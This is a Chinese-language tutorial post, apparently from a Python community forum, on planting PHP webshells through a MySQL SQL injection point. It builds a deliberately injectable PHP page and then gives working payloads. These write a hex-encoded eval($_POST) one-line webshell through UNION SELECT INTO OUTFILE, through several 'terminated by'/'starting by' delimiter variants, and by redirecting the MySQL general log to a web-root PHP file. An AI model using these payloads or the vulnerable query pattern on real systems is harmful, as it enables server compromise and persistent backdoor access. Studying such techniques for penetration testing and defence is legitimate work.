社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

MySQL注入点写入WebShell的几种方式

Bypass • 5 年前 • 509 次点击  

在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

比如:当面对一个MySQL注入点,通过使用SQLmap--os-shell命令选项,便可轻松一键获取Webshell但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。

一个MySQL注入点写入Webshell需要满足哪些条件呢?简单来说,需要了解secure_file_priv是否支持数据导出、还有当前数据库用户权限,当然,root用户数据库的全部权限,但写入Webshell 并不需要一定是root用户。

接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。


0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

create user 'test'@'localhost' identified by '123456';grant file on *.* to 'test'@'localhost';

2、使用test用户连接数据库。

$con = mysql_connect("localhost","test","123456");mysql_select_db("test", $con);$id = $_REQUEST[ 'id' ];$query  = "SELECT * FROM test.admin WHERE id = $id ";$result = mysql_query($query);......

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,unionselect into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 union select 1,"",3 into outfile 'E:/study/WWW/evil.php'?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入SQLMAP --os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQLlog文件来获取Webshell

具体权限要求:数据库用户需具备SuperFile服务器权限、获取物理路径。

show variables like '%general%';             #查看配置set global general_log = on;                 #开启general log模式set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址select ''             #写入shellset global general_log=off;                  #关闭general log模式

加入我的知识星球,获取更多安全干货。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/62071
 
509 次点击